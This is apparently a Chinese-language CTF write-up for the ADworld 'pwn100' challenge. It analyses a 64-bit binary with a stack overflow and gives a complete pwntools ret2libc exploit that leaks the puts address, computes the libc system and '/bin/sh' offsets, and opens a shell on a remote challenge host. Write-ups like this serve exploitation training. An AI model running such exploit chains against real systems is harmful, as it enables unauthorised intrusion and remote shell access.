预备知识
本题涉及到的知识点:
程序分析
首先,使用checksec命令查看保护情况。
64位程序,只开启了NX保护。可以猜测存在栈溢出,不过不能ret2shellcode。
1 2 3 4 5 6
| [*] '/root/Desktop/ADworld/pwn100/pwn100' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
|
运行程序,发现可以循环接收输入。

拖入IDA进行分析,发现main函数只执行一个40068E函数。

继续跟入。该函数有一个char类型变量v1,只执行40063D函数并传入两个参数。

继续跟入,可以发现,这个是关键的函数。
a1为指向变量v1的指针,a2 = 200。
for循环通过分析理解,其实就是使用read函数读入200个字符到v1。

利用思路
存在栈溢出漏洞,没有后门函数、system函数、binsh字符串。
观察plt表,存在puts函数。所以可以使用ret2libc的方法。
泄露puts的真实地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import * from LibcSearcher import *
context.log_level = 'debug'
io = process('./pwn100') elf = ELF('./pwn100')
puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] pop_rdi = 0x0000000000400763 main = 0x000000000040068E
payload = 'A' * 0x40 + 'deadbeef' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) payload += 'A' * (200 - len(payload)) io.send(payload)
puts_real = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00')) print 'puts_real=', hex(puts_real)
|
计算libc地址
1 2 3 4 5 6 7 8 9 10 11 12
|
libc_base = puts_real - 0x6f690 system = libc_base + 0x45390 binsh = libc_base + 0x18cd57
|
ret2libc
1 2 3 4 5 6
| payload = 'A' * 0x40 + 'deadbeef' + p64(pop_rdi) + p64(binsh) + p64(system) payload += 'A' * (200 - len(payload)) io.send(payload)
io.interactive()
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * from LibcSearcher import *
context.log_level = 'debug'
io = process('./pwn100') io = remote('111.200.241.244', 55764) elf = ELF('./pwn100')
puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] pop_rdi = 0x0000000000400763 main = 0x000000000040068E
payload = 'A' * 0x40 + 'deadbeef' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) payload += 'A' * (200 - len(payload)) io.send(payload)
puts_real = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00')) print 'puts_real=', hex(puts_real)
libc_base = puts_real - 0x6f690 system = libc_base + 0x45390 binsh = libc_base + 0x18cd57
payload = 'A' * 0x40 + 'deadbeef' + p64(pop_rdi) + p64(binsh) + p64(system) payload += 'A' * (200 - len(payload)) io.send(payload)
io.interactive()
|